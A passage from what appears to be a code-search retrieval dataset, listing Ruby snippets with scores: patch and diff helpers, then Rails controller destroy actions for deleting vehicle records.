"text": "def tape_input_patches\n\t\t#\n\t\t# \t\tReplace Skip Header routine\n\t\t#\n\t\tpatch(0x1BCE,0xED);\n\t\tpatch(0x1BCF,0xF0);\n\t\tpatch(0x1BD0,0xC9);\n\t\t#\n\t\t# \t\tReplace Read byte routine\n\t\t#\n\t\tpatch(0x1B4D,0xED);\n\t\tpatch(0x1B4E,0xF1);\n\t\tpatch(0x1B4F,0xC9);\t\n\t\t#\n\t\t# \t\tPatch 'give name' routine\n\t\t#\t\n\t\tpatch(0x1C4B,0xED);\n\t\tpatch(0x1C4C,0xF2);\n\t\tpatch(0x1C4D,0x00);\t\n\t\t#\n\t\t# \t\tDisable the Tape Load, Hit any Key routine, which isn't needed.\n\t\t#\n\t\tpatch(0x1B2E,0xC9);\n\t\t#\n\t\t# \t\tStop printing \"Found\" files\n\t\t#\n\t\tpatch(0x1c6f,0x21);\t\n\tend",
"title": ""
},
{
"docid": "5ed03bc9e9f85ac15e421d5c679372d9",
"score": "0.53448534",
"text": "def report_on_differences\n # these are stacks with templates\n output_report_on_differences(build_diffs)\n end",
"title": ""
},
{
"docid": "4f6801ea5b299588ba6e7612ba840d79",
"score": "0.5343386",
"text": "def diff_with_optimized_lines(left, right)\n diff = @repo.diff(left, right, DIFF_OPTIONS)\n diff.deltas.zip(diff.patches).each do |delta, patch|\n lines = organize_lines(delta, patch)\n lines.each do |line|\n yield(delta.old_file[:path], delta.new_file[:path], patch, line)\n end\n end\n end",
"title": ""
},
{
"docid": "3dd1aa5524a0641adbab37ad2f40e28c",
"score": "0.5328942",
"text": "def patches\n [DATA, \"https://gist.github.com/JustSid/7430366/raw/54979ac61602eec5e59223164cb1f0d136044d1f/gistfile1.txt\"]\n end",
"title": ""
},
{
"docid": "4cbeddd334963a4b17f8961518868215",
"score": "0.5327435",
"text": "def dc_reload_patches\r\n DrgCms.paths(:patches).each do |patches| \r\n Dir[\"#{patches}/**/*.rb\"].each { |file| require_dependency(file) }\r\n end\r\nend",
"title": ""
},
{
"docid": "4cbeddd334963a4b17f8961518868215",
"score": "0.5327435",
"text": "def dc_reload_patches\r\n DrgCms.paths(:patches).each do |patches| \r\n Dir[\"#{patches}/**/*.rb\"].each { |file| require_dependency(file) }\r\n end\r\nend",
"title": ""
},
{
"docid": "7e87c2e34fcf9edbb74fe786882d3995",
"score": "0.5319997",
"text": "def show_diff(original,altered)\n \n file1 = Tempfile.new('rnote')\n file2 = Tempfile.new('rnote')\n begin\n \n file1.write(original)\n file1.close\n \n file2.write(altered)\n file2.close\n \n system(\"diff #{file1.path} #{file2.path} | less\")\n \n raise \"User cnacelled due to lost content.\" unless agree(\"Continue editing note? \")\n \n ensure\n file1.unlink\n file2.unlink\n end\n end",
"title": ""
},
{
"docid": "978e572b7e3ce8fd5293a5760ba078ae",
"score": "0.5316073",
"text": "def show_diff_and_write(content, outfile, options = {\n :no_interaction => false,\n :json_pretty_format => false,\n :no_commit => false\n })\n if File.exist?( outfile )\n ref = File.read( outfile )\n if options[:json_pretty_format]\n ref = JSON.pretty_generate(JSON.parse( IO.read( outfile ) ))\n end\n if ref == content\n warn \"Nothing to update\"\n return 0\n end\n warn \"the file '#{outfile}' already exists and will be overwritten.\"\n warn \"Expected difference: \\n------\"\n Diffy::Diff.default_format = :color\n puts Diffy::Diff.new(ref, content, :context => 1)\n else\n watch = (options[:no_interaction]) ? 'no' : ask( cyan(\" ==> Do you want to see the generated file before commiting the writing (y|N)\"), 'No')\n puts content if watch =~ /y.*/i\n end\n proceed = (options[:no_interaction]) ? 'yes' : ask( cyan(\" ==> proceed with the writing (Y|n)\"), 'Yes')\n return 0 if proceed =~ /n.*/i\n info(\"=> writing #{outfile}\")\n File.open(outfile.to_s, \"w+\") do |f|\n f.write content\n end\n if FalkorLib::Git.init?(File.dirname(outfile)) && !options[:no_commit]\n do_commit = (options[:no_interaction]) ? 'yes' : ask( cyan(\" ==> commit the changes (Y|n)\"), 'Yes')\n FalkorLib::Git.add(outfile, \"update content of '#{File.basename(outfile)}'\") if do_commit =~ /y.*/i\n end\n 1\n end",
"title": ""
},
{
"docid": "853b664421d2ed46321304f3ddb5b3f5",
"score": "0.5312525",
"text": "def patch(entity_name, patches, patch_args=nil)\n task entity_name => patches do |t|\n patches = [ patches ] unless patches.respond_to?(:each)\n cmd = \"set -e -x\\ncd #{t.name}\\n\"\n patches.each do |patch|\n cmd << \"patch #{patch_args} < ../#{patch}\\n\"\n end\n sh cmd\n end\n end",
"title": ""
},
{
"docid": "85d9bd9e7cccc20147ac85e33f05fc28",
"score": "0.53103304",
"text": "def modified_files(options)\n flags = \"--cached\" if options[:staged]\n refs = options[:refs]\n subcmd = options[:subcmd] || \"diff\"\n\n `git #{subcmd} --name-only -z --diff-filter=ACMR --ignore-submodules=all #{flags} #{refs}`\n .split(\"\\0\")\n .map(&:strip)\n .reject(&:empty?)\n .map { |relative_file| File.expand_path(relative_file) }\n end",
"title": ""
},
{
"docid": "092544adf1ed12d977f7df4cb772a1c5",
"score": "0.53071433",
"text": "def convert(lines)\n lines = lines.dup\n result = []\n i = j = 0\n while i < diffs.size\n case diffs[i]\n when /^\\??\\/? /\n while true\n match = patterns[j].match lines.first\n if not match\n raise PatchFormatError.new(\"Hunk #{num} (#{title}) FAILED to apply. No match \\\"#{patterns[j]}\\\" with #{lines.first.inspect}.\")\n elsif match > 0\n result << lines.shift\n break\n elsif match == 0\n result << lines.shift\n end\n end\n when /^\\??\\/?[-]/\n while true\n match = patterns[j].match lines.first\n if not match\n raise PatchFormatError.new(\"Hunk #{num} (#{title}) FAILED to apply. No match pattern \\\"#{patterns[j]}\\\" against #{lines.first.inspect}.\")\n elsif match > 0\n lines.shift\n break\n elsif match == 0\n lines.shift\n end\n end\n when /^(\\??\\/?\\+)/\n result << diffs[i][$1.size..-1]\n when /^(<|>)$/\n # patterns do not have locaiton direction\n j -= 1\n else\n raise PatchFormatError.new(\"Hunk #{num} (#{title}) FAILED to apply. Unknow syntax in hunk: #{diffs[i]}\")\n end\n i += 1\n j += 1\n end\n result\n end",
"title": ""
},
{
"docid": "55b073314938638a64c91df3570286af",
"score": "0.5307",
"text": "def move_diffs\n raise \"Move diffs not yet implemented\"\n end",
"title": ""
},
{
"docid": "04108af15365c15aba297d1524d24b54",
"score": "0.5301028",
"text": "def GetFileModification(file, old, new)\n ret = {}\n file1 = Builtins.sformat(\"%1%2\", GetSnapshotPath(old), file)\n file2 = Builtins.sformat(\"%1%2\", GetSnapshotPath(new), file)\n file2 = GetFileFullPath(file) if new == 0\n\n Builtins.y2milestone(\"comparing '%1' and '%2'\", file1, file2)\n\n if FileUtils.Exists(file1) && FileUtils.Exists(file2)\n status = [\"no_change\"]\n out = Convert.to_map(\n SCR.Execute(\n path(\".target.bash_output\"),\n Builtins.sformat(\n \"/usr/bin/diff -u '%1' '%2'\",\n String.Quote(file1),\n String.Quote(file2)\n )\n )\n )\n if Ops.get_string(out, \"stderr\", \"\") != \"\"\n Builtins.y2warning(\"out: %1\", out)\n Ops.set(ret, \"diff\", Ops.get_string(out, \"stderr\", \"\"))\n # the file diff\n elsif Ops.get(out, \"stdout\") != \"\"\n status = [\"diff\"]\n Ops.set(ret, \"diff\", Ops.get_string(out, \"stdout\", \"\"))\n end\n\n # check mode and ownerships\n out = Convert.to_map(\n SCR.Execute(\n path(\".target.bash_output\"),\n Builtins.sformat(\n \"ls -ld -- '%1' '%2' | cut -f 1,3,4 -d ' '\",\n String.Quote(file1),\n String.Quote(file2)\n )\n )\n )\n parts = Builtins.splitstring(Ops.get_string(out, \"stdout\", \"\"), \" \\n\")\n\n if Ops.get(parts, 0, \"\") != Ops.get(parts, 3, \"\")\n status = Builtins.add(status, \"mode\")\n Ops.set(ret, \"mode1\", Ops.get(parts, 0, \"\"))\n Ops.set(ret, \"mode2\", Ops.get(parts, 3, \"\"))\n end\n if Ops.get(parts, 1, \"\") != Ops.get(parts, 4, \"\")\n status = Builtins.add(status, \"user\")\n Ops.set(ret, \"user1\", Ops.get(parts, 1, \"\"))\n Ops.set(ret, \"user2\", Ops.get(parts, 4, \"\"))\n end\n if Ops.get(parts, 2, \"\") != Ops.get(parts, 5, \"\")\n status = Builtins.add(status, \"group\")\n Ops.set(ret, \"group1\", Ops.get(parts, 2, \"\"))\n Ops.set(ret, \"group2\", Ops.get(parts, 5, \"\"))\n end\n Ops.set(ret, \"status\", status)\n elsif FileUtils.Exists(file1)\n Ops.set(ret, \"status\", [\"removed\"])\n elsif FileUtils.Exists(file2)\n Ops.set(ret, \"status\", [\"created\"])\n else\n Ops.set(ret, \"status\", [\"none\"])\n end\n deep_copy(ret)\n end",
"title": ""
},
{
"docid": "4d8bd7ff47839395c8a9aa7e385bca30",
"score": "0.529141",
"text": "def patches\n # Fixes link times and xattr on links for OSX\n DATA\n end",
"title": ""
},
{
"docid": "163e08a16ca01cae8269dc7809d9f66f",
"score": "0.529138",
"text": "def patches\n \"http://www.mbayer.de/html2text/downloads/patch-utf8-html2text-1.3.2a.diff\"\n end",
"title": ""
},
{
"docid": "0b490c54ca1772313fe6239b479d0470",
"score": "0.5289578",
"text": "def patch(data, mode = [])\n return if data.nil?\n\n mode ||= []\n\n # TODO: rename :none to :dummy\n if mode.include?(:none) || mode.include?(:dummy)\n # In dummy (no operation) mode, we spawn temporary\n # object with same content and try the patch operation\n # on them.\n dummy = self.class.new\n dummy.copy(self)\n ret = dummy.patch(data, mode - [:none, :dummy])\n\n # Save is just for sure to check the configuration\n # object content is left in a state which can be\n # dumped into a file. Concern are the Augeas classes.\n dummy.save\n\n return ret\n end\n\n ret = false\n rep = []\n\n # We backup current state into a temporary object (file)\n # with copy of our content. In case of exception, we\n # copy back from the backup object.\n backup = self.class.new\n backup.copy(self)\n\n data.each do |diff_op|\n begin\n patch_status = apply_diff_op(diff_op, mode)\n\n ret ||= patch_status[:status]\n rep << patch_status\n rescue OneCfg::Config::Exception::PatchRetryOperation\n retry\n\n # TODO: rescue on any exception\n rescue StandardError => e\n # restore content from backup object\n copy(backup)\n\n if e.is_a?(OneCfg::Config::Exception::PatchException)\n # enrich patch exception with extra\n # diff operation data\n e.data = diff_op\n end\n\n raise e\n end\n end\n\n [ret, rep]\n end",
"title": ""
},
{
"docid": "e4833ef86ba055dcf96298bfe62eec2f",
"score": "0.52851415",
"text": "def did_modify(files_array)\n did_modify_files = false\n files_array.each do |file_name|\n next unless git.modified_files.include?(file_name) || git.deleted_files.include?(file_name)\n \n did_modify_files = true\n config_files = git.modified_files.select { |path| path.include? file_name }\n message \"This PR changes #{github.html_link(config_files)}\"\n end\n \n did_modify_files\nend",
"title": ""
},
{
"docid": "cbf5dfb8364b8966b340f2af1dbfd723",
"score": "0.52813137",
"text": "def fix_files(lookup, node1, node2)\n write_dirstate = false # this gets returned\n modified = [] # and this\n fixup = [] # fixup are files that haven't changed so they're being\n # marked wrong in the dirstate. this gets returned\n \n lookup.each do |file|\n # this checks to see if the file has been modified after doing\n # hashes/flag checks\n tests = [ node1.include?(file) ,\n node2.flags(file) == node1.flags(file) ,\n node1[file] === node2[file] ]\n \n unless tests.all?\n modified << file\n else\n fixup << file # mark the file as clean\n end\n end\n \n \n # mark every fixup'd file as clean in the dirstate\n begin\n lock_working do\n staging_area.normal *fixup \n fixup.each do |file|\n modified.delete file\n end\n end\n rescue LockError\n end\n \n # the fixups are actually clean\n [fixup, modified]\n end",
"title": ""
},
{
"docid": "2870036ecd4bab11d907047759c0f554",
"score": "0.528086",
"text": "def patches\n [\n \"https://github.com/rejectedsoftware/dub/commit/0e91afd52babf96128be43120dfd5f9a38b4d202.patch\",\n \"https://github.com/rejectedsoftware/dub/commit/b08454b6baa5c7e9e2d5a21c943c21cb986fff23.patch\",\n ]\n end",
"title": ""
},
{
"docid": "d2612defaf4f4ee3defc6c845debfe8a",
"score": "0.5280161",
"text": "def patch_dir\n @patch_dir ||= [release_dir, 'extracting', Time.now.strftime(\"%Y%m%d%H%M%S\")] * '.'\n end",
"title": ""
}
] |
79bb72a2605af6540f2d11436ef9a2e4
|
DELETE /authorized_vehicles/1 DELETE /authorized_vehicles/1.json
|
[
{
"docid": "579f1308c3119caf2b5e68e43c2cdc11",
"score": "0.8030015",
"text": "def destroy\n @authorized_vehicle.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"title": ""
}
] |
[
{
"docid": "44ac00629c4fd2d9950bc061165c5260",
"score": "0.7694398",
"text": "def destroy\n @vehicle = current_user.vehicles.find(params[:id])\n @vehicle.destroy\n\n respond_to do |format|\n format.html { redirect_to vehicles_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "daea7a5eaf5567fa394e55fbd5fec0ff",
"score": "0.76632404",
"text": "def destroy\n authorize @vehicle\n\n @vehicle.destroy\n respond_to do |format|\n format.html { redirect_to vehicles_url, notice: 'Vehicle was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "54b3dccb01be59823a90ba63407f2899",
"score": "0.76127523",
"text": "def destroy\n @vehicle.destroy\n render json: { status: true }\n end",
"title": ""
},
{
"docid": "1894cfe1a16fc5635e13d7784a19f1bd",
"score": "0.7515165",
"text": "def destroy\n destroy_resource @vehicle, vehicles_url\n end",
"title": ""
},
{
"docid": "d4fae748a544b04799d258e24b34ca60",
"score": "0.74551904",
"text": "def destroy\n @vehicle.destroy\n\n respond_to do |format|\n format.html { redirect_to vehicles_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "794fd84b1c5a00b18141fe49587e9589",
"score": "0.74419636",
"text": "def destroy\n @vehicle.destroy\n respond_to do |format|\n format.html { redirect_to vehicles_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "794fd84b1c5a00b18141fe49587e9589",
"score": "0.74419636",
"text": "def destroy\n @vehicle.destroy\n respond_to do |format|\n format.html { redirect_to vehicles_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "794fd84b1c5a00b18141fe49587e9589",
"score": "0.74419636",
"text": "def destroy\n @vehicle.destroy\n respond_to do |format|\n format.html { redirect_to vehicles_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "794fd84b1c5a00b18141fe49587e9589",
"score": "0.74419636",
"text": "def destroy\n @vehicle.destroy\n respond_to do |format|\n format.html { redirect_to vehicles_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "794fd84b1c5a00b18141fe49587e9589",
"score": "0.74419636",
"text": "def destroy\n @vehicle.destroy\n respond_to do |format|\n format.html { redirect_to vehicles_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "794fd84b1c5a00b18141fe49587e9589",
"score": "0.74419636",
"text": "def destroy\n @vehicle.destroy\n respond_to do |format|\n format.html { redirect_to vehicles_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c3dc00e9601ba12f5aa7f9f729bf11b2",
"score": "0.74261415",
"text": "def destroy_vehicle\n @vehicle = Vehicle.find_by_uuid(params[:vid])\n @vehicle.update_attributes(:delete_status => true)\n\n respond_to do |format|\n format.html { redirect_to vehicle_list_path(:id => @user.uuid), notice: 'successfully deleted.' }\n end\n end",
"title": ""
},
{
"docid": "5c4cc1a9b9b601127e974160d486d2b6",
"score": "0.74241",
"text": "def destroy\n\t\tlog_action_result @vehicle\n\t\t@vehicle.destroy\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to vehicles_url }\n\t\t\tformat.json { head :no_content }\n\t\tend\n\tend",
"title": ""
},
{
"docid": "d18a1ecd218f334dba9208ed9830ec1d",
"score": "0.74198365",
"text": "def destroy\n @vehicle = Vehicle.find(params[:id])\n @vehicle.destroy\n\n respond_to do |format|\n format.html { redirect_to vehicles_url }\n format.json { head :no_content }\n end\nend",
"title": ""
},
{
"docid": "231512dfeadde28c4b019d2a21bb35ed",
"score": "0.7389196",
"text": "def destroy\n @has_vehicle.destroy\n respond_to do |format|\n format.html { redirect_to has_vehicles_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5da4fd518f2d075ec80a2fc566f4e7fb",
"score": "0.73610455",
"text": "def destroy\n @vehicle.destroy\n respond_to do |format|\n format.html {redirect_to vehicles_url, notice: t('delete_success')}\n format.json {head :no_content}\n end\n end",
"title": ""
},
{
"docid": "b661458bc6f787c4a297d3d43bb8571b",
"score": "0.7355931",
"text": "def destroy\n\n @user_vehicle.destroy\n respond_to do |format|\n format.html { redirect_to user_vehicles_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "af1b6d7f0546e7a15a46c1f27691fe5d",
"score": "0.7307667",
"text": "def destroy\n @vehicle = Vehicle.find(params[:id])\n @vehicle.destroy\n\n respond_to do |format|\n format.html { redirect_to vehicles_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "3f85e97bce895cf1500d17b41c54db66",
"score": "0.7271055",
"text": "def destroy\n @vehicle_permit.destroy\n respond_to do |format|\n format.html { redirect_to permits_url, notice: 'Permit was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5b3918fd45ab8af3664839a20a96ad53",
"score": "0.7243086",
"text": "def destroy\n @vehicle = vehicle_type.find(params[:id])\n @vehicle.destroy\n\n respond_to do |format|\n format.html { redirect_to vehicles_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "29018eb7c5e08e4453c654c3ff572718",
"score": "0.7221801",
"text": "def destroy\n @new_vehicle.destroy\n respond_to do |format|\n format.html { redirect_to new_vehicles_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6ffce27ede894c0a4ddf3f7e763b3f8c",
"score": "0.72204787",
"text": "def destroy\n @vehicle.destroy\n respond_to do |format|\n format.html { redirect_to vehicles_url, notice: 'Vehicle was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6ffce27ede894c0a4ddf3f7e763b3f8c",
"score": "0.72204787",
"text": "def destroy\n @vehicle.destroy\n respond_to do |format|\n format.html { redirect_to vehicles_url, notice: 'Vehicle was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6ffce27ede894c0a4ddf3f7e763b3f8c",
"score": "0.72204787",
"text": "def destroy\n @vehicle.destroy\n respond_to do |format|\n format.html { redirect_to vehicles_url, notice: 'Vehicle was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6ffce27ede894c0a4ddf3f7e763b3f8c",
"score": "0.72204787",
"text": "def destroy\n @vehicle.destroy\n respond_to do |format|\n format.html { redirect_to vehicles_url, notice: 'Vehicle was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6ffce27ede894c0a4ddf3f7e763b3f8c",
"score": "0.72204787",
"text": "def destroy\n @vehicle.destroy\n respond_to do |format|\n format.html { redirect_to vehicles_url, notice: 'Vehicle was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6ffce27ede894c0a4ddf3f7e763b3f8c",
"score": "0.72204787",
"text": "def destroy\n @vehicle.destroy\n respond_to do |format|\n format.html { redirect_to vehicles_url, notice: 'Vehicle was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6ffce27ede894c0a4ddf3f7e763b3f8c",
"score": "0.72204787",
"text": "def destroy\n @vehicle.destroy\n respond_to do |format|\n format.html { redirect_to vehicles_url, notice: 'Vehicle was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "3a16011b07758fbdc6be380fbcf6183a",
"score": "0.72149163",
"text": "def destroy\n @vehicle.destroy\n respond_to do |format|\n format.html { redirect_to vehicles_url, notice: \"Vehicle was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "cc1c1b3c088f9c4de3f35982ae6fa1a4",
"score": "0.71110004",
"text": "def destroy\n @type_vehicle = TypeVehicle.find(params[:id])\n @type_vehicle.destroy\n\n respond_to do |format|\n format.html { redirect_to type_vehicles_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d9bb375b31d38fbc2dbcf441393c5ad7",
"score": "0.70897543",
"text": "def destroy\n @vehicle = Vehicle.find(params[:id])\n\n respond_to do |format|\n if @vehicle.destroy\n format.html { redirect_to vehicles_url,\n notice: (crud_notice('destroyed', @vehicle) + \"#{undo_link(@vehicle)}\").html_safe }\n format.json { head :no_content }\n else\n format.html { redirect_to vehicles_url, alert: \"#{@vehicle.errors[:base].to_s}\".gsub('[\"', '').gsub('\"]', '') }\n format.json { render json: @vehicle.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "de3bd429b7d6e8aa040613dcda41e7a8",
"score": "0.7068579",
"text": "def destroy\n @vehicle.destroy\n respond_to do |format|\n format.html { redirect_to vehicles_url, notice: 'El vehículo fue eliminado.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "0bde7e8beef36410bc5b542e66e10742",
"score": "0.7058652",
"text": "def destroy\n @vehicle_odometer = VehicleOdometer.find(params[:id])\n @vehicle_odometer.destroy\n\n respond_to do |format|\n format.html { redirect_to vehicle_odometers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d0b3e6be5e4d376909000b4ca9bc384f",
"score": "0.70569044",
"text": "def destroy\n @vehicle.destroy\n respond_to do |format|\n format.html { redirect_to vehicles_url, notice: 'El vehiculo ha sido destruido satisfactoriamente.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "50f0a25aad7b793c614cf1f46a0b4124",
"score": "0.7052342",
"text": "def destroy\n @vehicle_device.destroy\n respond_to do |format|\n format.html { redirect_to vehicle_devices_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "86b659cf132a6842f20f29c6361851ea",
"score": "0.7040507",
"text": "def destroy\n @vehicle = Vehicle.find(params[:id])\n @vehicle.destroy\n respond_with(@vehicle)\n end",
"title": ""
},
{
"docid": "5952811f29c1c430e8939910bcb6b4c1",
"score": "0.703794",
"text": "def destroy\n @recovered_vehicle.destroy\n respond_to do |format|\n format.html { redirect_to recovered_vehicles_url, notice: 'Recovered vehicle was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a94b6bc998fedaa3f29faef412275bf7",
"score": "0.7034944",
"text": "def destroy\n @applied_vehicle_detail = AppliedVehicleDetail.find(params[:id])\n @applied_vehicle_detail.destroy\n\n respond_to do |format|\n format.html { redirect_to applied_vehicle_details_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "beb5b3849805c57d0cef4b4cf80d14f9",
"score": "0.7024328",
"text": "def destroy\n @vehicle = Vehicle.find(params[:id])\n @vehicle.destroy\n\n respond_to do |format|\n format.html { redirect_to vehicles_url }\n format.json { head :no_content }\n format.js { }\n end\n end",
"title": ""
},
{
"docid": "e8eccebdfc330826cf983caab0317956",
"score": "0.70042515",
"text": "def destroy\n @vehicle = Vehicle.find(params[:id])\n @vehicle.destroy\n\n respond_to do |format|\n format.html { redirect_to(vehicles_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "e8eccebdfc330826cf983caab0317956",
"score": "0.70042515",
"text": "def destroy\n @vehicle = Vehicle.find(params[:id])\n @vehicle.destroy\n\n respond_to do |format|\n format.html { redirect_to(vehicles_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "51710d1b8d55f407e934494fca773ae4",
"score": "0.6999608",
"text": "def destroy\n @vehicle_model = VehicleModel.find(params[:id])\n @vehicle_model.destroy\n\n respond_to do |format|\n format.html { redirect_to vehicle_models_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "50e433c4a753808e98e1f54292b32640",
"score": "0.69597",
"text": "def destroy\n @vehicle.destroy\n end",
"title": ""
},
{
"docid": "50e433c4a753808e98e1f54292b32640",
"score": "0.69597",
"text": "def destroy\n @vehicle.destroy\n end",
"title": ""
},
{
"docid": "2b871fb641de2dfe041bc7e66ee1eb42",
"score": "0.69443893",
"text": "def destroy\n @vehicle_ad.destroy\n respond_to do |format|\n format.html { redirect_to vehicle_ads_url, notice: 'Vehicle ad was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "99e617f2a118aab43c4b6ecc154c3eeb",
"score": "0.69375104",
"text": "def destroy\n @tipo_vehicle.destroy\n respond_to do |format|\n format.html { redirect_to tipo_vehicles_url, notice: 'Tipo vehicle was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d0538825460af5323025f2ccd989ca34",
"score": "0.6935286",
"text": "def destroy\n @daily_data_vehicle = DailyDataVehicle.find(params[:id])\n @daily_data_vehicle.destroy\n\n respond_to do |format|\n format.html { redirect_to daily_data_vehicles_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "23232724880da799e6fa310785a322b2",
"score": "0.69103837",
"text": "def destroy\n @vehicle = Vehicle.find(params[:id])\n @vehicle.destroy\n\n respond_to do |format|\n #format.html { redirect_to customers_index_path }\n format.json { head :ok }\n format.js { render :nothing => true }\n end\n end",
"title": ""
},
{
"docid": "b1a17c1ee1af05c79fe156622df44818",
"score": "0.6907983",
"text": "def delete(path)\n begin\n response = client[path].delete :accept => 'application/json'\n rescue Exception => e\n puts e.inspect\n end\n end",
"title": ""
},
{
"docid": "b445c184893647d3482f8fbc6a507a52",
"score": "0.690108",
"text": "def delete(path, params = {})\n path += '.json'\n res = @connection.delete(path, @header)\n parse_response(res)\n end",
"title": ""
},
{
"docid": "decdb4591c4ce44247bd3453b81fbf51",
"score": "0.6891244",
"text": "def destroy\n @admin_vehicle_type = Admin::VehicleType.find(params[:id])\n @admin_vehicle_type.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_vehicle_types_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "b531a028dd932d8c6dbdb8c75d03e05e",
"score": "0.689124",
"text": "def destroy\n @passenger_vehicle.destroy\n respond_to do |format|\n format.html { redirect_to passenger_vehicles_url, notice: 'Passenger vehicle was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8f5a8655050d96b44d9ccc4c58b71428",
"score": "0.68805224",
"text": "def destroy\r\n @offer_vehicle.destroy\r\n respond_to do |format|\r\n format.html { redirect_to offer_vehicles_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"title": ""
},
{
"docid": "000898111096fca201bad3a277016315",
"score": "0.68700373",
"text": "def destroy\n @vehicle.destroy\n redirect_to admin_vehicles_path, notice: @vehicle.flash(:destroy)\n end",
"title": ""
},
{
"docid": "a86ea6258dfee5547e452d96e3e84331",
"score": "0.68670267",
"text": "def destroy\n @vehicle_service.destroy\n respond_to do |format|\n format.html { redirect_to vehicle_services_url, notice: 'Vehicle service was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8c20cdb565072c01e644c99b7238adab",
"score": "0.68632776",
"text": "def destroy\n @vehicule = Vehicule.find(params[:id])\n @vehicule.destroy\n\n respond_to do |format|\n format.html { redirect_to vehicules_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ec123fc35a1f9af0f694e87877f8b580",
"score": "0.68629164",
"text": "def destroy\n @type_vehicle.destroy\n respond_to do |format|\n format.html { redirect_to type_vehicles_url, notice: 'Type vehicle was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ac6ce581a27e69d0fc21ae3d9c02ce26",
"score": "0.6854901",
"text": "def delete\n self.class.headers 'Authorization' => \"OAuth #{ENV['sfdc_token']}\"\n self.class.headers 'Content-Type' => \"application/json\"\n response = self.class.delete(SObject.root_url+\"/sobjects/#{@object_name}/#{@Id}\")\n raise response.parsed_response[0]['message'] if response.code.to_i > 299\n nil\n end",
"title": ""
},
{
"docid": "179ff0053e8f4f967cb3d92206094cf0",
"score": "0.68434286",
"text": "def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"title": ""
},
{
"docid": "2f930e51b962a46633074efed8ccd9e7",
"score": "0.68375385",
"text": "def destroy\n @post_vehicle.destroy\n respond_to do |format|\n format.html { redirect_to post_vehicles_url, notice: 'Post vehicle was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "19d6aefc954b69301982f0b34d8c1f41",
"score": "0.68367225",
"text": "def destroy\n @vehicle = Vehicle.find(params[:vehicle_id])\n @service_item = @vehicle.service_items.find(params[:id])\n @service_item.destroy\n\n respond_to do |format|\n format.html { redirect_to service_items_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "cba522b523f5a010098ac870b9f41eb0",
"score": "0.68319905",
"text": "def destroy\n @vehicle.destroy\n\n flash[:notice] = \"Vehicle has been deleted\"\n redirect_to vehicles_url\n\n # respond_to do |format|\n # format.html { redirect_to vehicles_url }\n # format.json { head :no_content }\n # end\n end",
"title": ""
},
{
"docid": "773e5d611adeb09776f9c841e1b876cc",
"score": "0.6823649",
"text": "def delete_json(path, params = {}, headers = {})\n json_request(:delete, path, params, headers)\n end",
"title": ""
},
{
"docid": "9628fe32e249e3302cd8e3c3bbc4f7cd",
"score": "0.68206155",
"text": "def destroy\n \t@vehicle = Vehicle.find(params[:id])\n \tif @vehicle.present?\n \t@vehicle.destroy\n\t\tend\n redirect_to backoffice_vehicles_path, notice: \"O Veículo #{@vehicle.plate} foi deletado com sucesso.\"\n end",
"title": ""
},
{
"docid": "385dfede73bb62a5830c4dc0f397d8b4",
"score": "0.68101436",
